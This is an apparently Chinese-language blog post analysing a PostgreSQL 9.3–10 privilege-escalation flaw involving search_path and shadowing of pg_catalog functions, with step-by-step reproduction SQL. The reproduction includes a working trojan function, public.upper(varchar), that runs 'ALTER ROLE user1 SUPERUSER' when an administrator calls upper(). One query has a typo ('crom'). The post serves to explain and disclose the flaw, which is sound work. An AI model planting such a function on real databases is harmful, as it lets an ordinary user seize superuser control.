前言
PostgreSQL是一个自由的对象-关系数据库服务器(数据库管理系统),它在灵活的BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如MySQL和Firebird),和专有系统(比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server)之外的另一种选择。
近日,PostgreSQL 9.3 版本至 10 版本中被爆出存在安全漏洞。攻击者可利用该漏洞以超级用户的权限执行代码。
漏洞分析
在 PostgreSQL 中,存在一个 schema 的概念,每个数据库都可以创建多个 schema,每个 schema 下面又可以创建多个对象,对象可以是表、视图、函数、序列等。
每个数据库在创建完成后,都会存在一个叫 public 的 schema,在不做其他操作或者设定的情况下,诸如查询等操作都是在这个 public 中进行查询。
除了超级用户外,普通用户只能操作自己创建的对象,而由于有些对象是赋予给 public 角色默认权限的,因此在对象建立之后,所有人都有此对象的权限。这种情况下就会有一个重名对象的问题。PostgreSQL 使用 search_path 来处理这种情况。search_path 类似于 linux 中的 path 环境变量,用户在查询重名表中的数据时,PostgreSQL 会采取首先适配原则,第一个找到的表将被使用,对于名为 $user 的 schema,将使用 SESSION_USER 对应的表。除了这两种适配方式外,PostgreSQL 还有另外一个特性,如果 pg_catalog 不在 path 中,PostgreSQL 则会最先查找它,如果在 path 中,则按照 path 中的顺序查找。正是由于这个特性,导致了代码执行漏洞。
在系统 schema pg_catalog 中,定义了大量的内置函数,每个函数接受的参数都有固定类型,正常情况下,如果将函数无法处理的数据类型作为参数传递给函数,则会导致函数抛出异常,但是 PostgreSQL 支持自定义函数,如果定义了 pg_catalog 中的同名函数,并让此函数接受原函数无法处理的数据类型,那么根据 PostgreSQL 的设计流程,在原函数遇到无法处理的数据时,则会执行攻击者自定义的函数。
漏洞复现
初始化实验环境
> psql -U postgres
CREATE DATABASE testdb;
CREATE USER user1 WITH PASSWORD 'user1';
GRANT ALL PRIVILEGES ON DATABASE testdb TO user1;
现在有 postgres 和 user1 两个用户,其中 postgres 是管理员,user1 是一个普通用户。user1 用户可以操作 testdb 数据库。现在要利用的是 pg_catalog 中的 upper() 函数,该函数会将传入的 text 类型数据转换成大写。
SELECT rolname, rolsuper FROM pg_roles;
首先使用 user1 用户在 testdb 数据库内创建 testtb 表,并将值的类型设置为 varchar,这样如果使用 upper() 函数对 testtb 表内数据进行转换时,由于数据类型问题,就会执行到稍后自定义的同名函数。
> psql -U user1 -d testdb
CREATE TABLE public.testtb AS SELECT 'test content'::varchar AS contents;
SELECT contents from testtb;
表成功创建完成后,创建自定义函数,函数内执行大写转换操作,并将 user1 修改为管理员。
CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE user1 SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;
之后让 postgres 用户使用 upper() 函数对 testtb 表内的值进行大写转换,即可完成对 user1 用户的提权。
SELECT upper(contents) crom testtb;
SELECT rolname, rolsuper FROM pg_roles;
参考
作者: JenI 转载请注明出处,谢谢
Comments !